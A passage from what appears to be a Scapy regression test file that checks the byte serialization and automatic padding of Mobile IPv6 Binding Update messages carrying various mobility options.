==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x01\x03\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' c = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x02\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' d = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x01\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' e = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' g = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' h = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptBindingAuthData()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' i = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptBindingAuthData()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' j = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptBindingAuthData()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00\x05\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptMobNetPrefix = Mobility Options - Automatic Padding - MIP6OptMobNetPrefix a = bytes(MIP6MH_BU(seq=0x4242, options=[MIP6OptMobNetPrefix()])) == b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' b = bytes(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x01\x05\x00\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' c = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x04\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' d = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x03\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' e = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x02\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' g = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x01\x01\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' h = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x01\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' i = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' j = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptMobNetPrefix()])) == b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x06\x12\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptLLAddr = Mobility Options - Automatic Padding - MIP6OptLLAddr a = bytes(MIP6MH_BU(seq=0x4242, options=[MIP6OptLLAddr()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00' b = bytes(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptLLAddr()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x00' c = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptLLAddr()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00' d = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00' e = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' g = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x03\x00\x00\x00' h = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' i = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x01\x00' j = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptLLAddr()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x07\x07\x02\x00\x00\x00\x00\x00\x00\x00\x01\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptMNID = Mobility Options - Automatic Padding - MIP6OptMNID a = bytes(MIP6MH_BU(seq=0x4242, options=[MIP6OptMNID()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x08\x01\x01\x00' b = bytes(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptMNID()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x08\x01\x01' c = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x08\x01\x01\x01\x05\x00\x00\x00\x00\x00' d = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x08\x01\x01\x01\x04\x00\x00\x00\x00' e = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x08\x01\x01\x01\x03\x00\x00\x00' g = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x08\x01\x01\x01\x02\x00\x00' h = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x08\x01\x01\x01\x01\x00' i = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x08\x01\x01\x01\x00' j = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptMNID()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x08\x01\x01\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptMsgAuth = Mobility Options - Automatic Padding - MIP6OptMsgAuth a = bytes(MIP6MH_BU(seq=0x4242, options=[MIP6OptMsgAuth()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' b = bytes(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptMsgAuth()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' c = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00' d = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00' e = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00' g = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA\x01\x02\x00\x00' h = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x01\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' i = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' j = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptMsgAuth()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x00\t\x11\x01\x00\x00\x00\x00AAAAAAAAAAAA' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptReplayProtection = Mobility Options - Automatic Padding - MIP6OptReplayProtection a = bytes(MIP6MH_BU(seq=0x4242, options=[MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' b = bytes(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x01\x03\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' c = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x01\x02\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' d = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x01\x01\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' e = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x01\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' g = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' h = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptReplayProtection()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' i = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptReplayProtection()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' j = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptReplayProtection()])) ==b';\x04\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00\n\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptCGAParamsReq = Mobility Options - Automatic Padding - MIP6OptCGAParamsReq a = bytes(MIP6MH_BU(seq=0x4242, options=[MIP6OptCGAParamsReq()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0b\x00\x01\x00' b = bytes(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCGAParamsReq()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0b\x00\x00' c = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptCGAParamsReq()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0b\x00' d = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0b\x00\x01\x05\x00\x00\x00\x00\x00' e = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0b\x00\x01\x04\x00\x00\x00\x00' g = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0b\x00\x01\x03\x00\x00\x00' h = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0b\x00\x01\x02\x00\x00' i = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0b\x00\x01\x01\x00' j = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptCGAParamsReq()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0b\x00\x01\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptCGAParams = Mobility Options - Automatic Padding - MIP6OptCGAParams a = bytes(MIP6MH_BU(seq=0x4242, options=[MIP6OptCGAParams()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0c\x00\x01\x00' b = bytes(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCGAParams()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0c\x00\x00' c = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptCGAParams()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0c\x00' d = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0c\x00\x01\x05\x00\x00\x00\x00\x00' e = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0c\x00\x01\x04\x00\x00\x00\x00' g = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0c\x00\x01\x03\x00\x00\x00' h = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0c\x00\x01\x02\x00\x00' i = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0c\x00\x01\x01\x00' j = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptCGAParams()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0c\x00\x01\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptSignature = Mobility Options - Automatic Padding - MIP6OptSignature a = bytes(MIP6MH_BU(seq=0x4242, options=[MIP6OptSignature()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\r\x00\x01\x00' b = bytes(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptSignature()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\r\x00\x00' c = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptSignature()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\r\x00' d = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\r\x00\x01\x05\x00\x00\x00\x00\x00' e = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\r\x00\x01\x04\x00\x00\x00\x00' g = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\r\x00\x01\x03\x00\x00\x00' h = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\r\x00\x01\x02\x00\x00' i = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\r\x00\x01\x01\x00' j = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptSignature()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\r\x00\x01\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptHomeKeygenToken = Mobility Options - Automatic Padding - MIP6OptHomeKeygenToken a = bytes(MIP6MH_BU(seq=0x4242, options=[MIP6OptHomeKeygenToken()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0e\x00\x01\x00' b = bytes(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptHomeKeygenToken()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0e\x00\x00' c = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptHomeKeygenToken()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0e\x00' d = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0e\x00\x01\x05\x00\x00\x00\x00\x00' e = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0e\x00\x01\x04\x00\x00\x00\x00' g = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0e\x00\x01\x03\x00\x00\x00' h = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0e\x00\x01\x02\x00\x00' i = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0e\x00\x01\x01\x00' j = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptHomeKeygenToken()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0e\x00\x01\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptCareOfTestInit = Mobility Options - Automatic Padding - MIP6OptCareOfTestInit a = bytes(MIP6MH_BU(seq=0x4242, options=[MIP6OptCareOfTestInit()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x0f\x00\x01\x00' b = bytes(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCareOfTestInit()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x0f\x00\x00' c = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptCareOfTestInit()])) ==b';\x01\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x0f\x00' d = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x0f\x00\x01\x05\x00\x00\x00\x00\x00' e = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x0f\x00\x01\x04\x00\x00\x00\x00' g = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x0f\x00\x01\x03\x00\x00\x00' h = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x0f\x00\x01\x02\x00\x00' i = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*5),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x05\x00\x00\x00\x00\x00\x0f\x00\x01\x01\x00' j = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*6),MIP6OptCareOfTestInit()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x06\x00\x00\x00\x00\x00\x00\x0f\x00\x01\x00' a and b and c and d and e and g and h and i and j + Mobility Options - Automatic Padding - MIP6OptCareOfTest = Mobility Options - Automatic Padding - MIP6OptCareOfTest a = bytes(MIP6MH_BU(seq=0x4242, options=[MIP6OptCareOfTest()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00' b = bytes(MIP6MH_BU(seq=0x4242, options=[Pad1(),MIP6OptCareOfTest()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00' c = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*0),MIP6OptCareOfTest()])) ==b';\x02\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00' d = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*1),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x01\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x05\x00\x00\x00\x00\x00' e = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*2),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x02\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x04\x00\x00\x00\x00' g = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*3),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x03\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x03\x00\x00\x00' h = bytes(MIP6MH_BU(seq=0x4242, options=[PadN(optdata=b'\x00'*4),MIP6OptCareOfTest()])) ==b';\x03\x05\x00\x00\x00BB\xd0\x00\x00\x03\x01\x04\x00\x00\x00\x00\x10\x08\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00\x00' i = 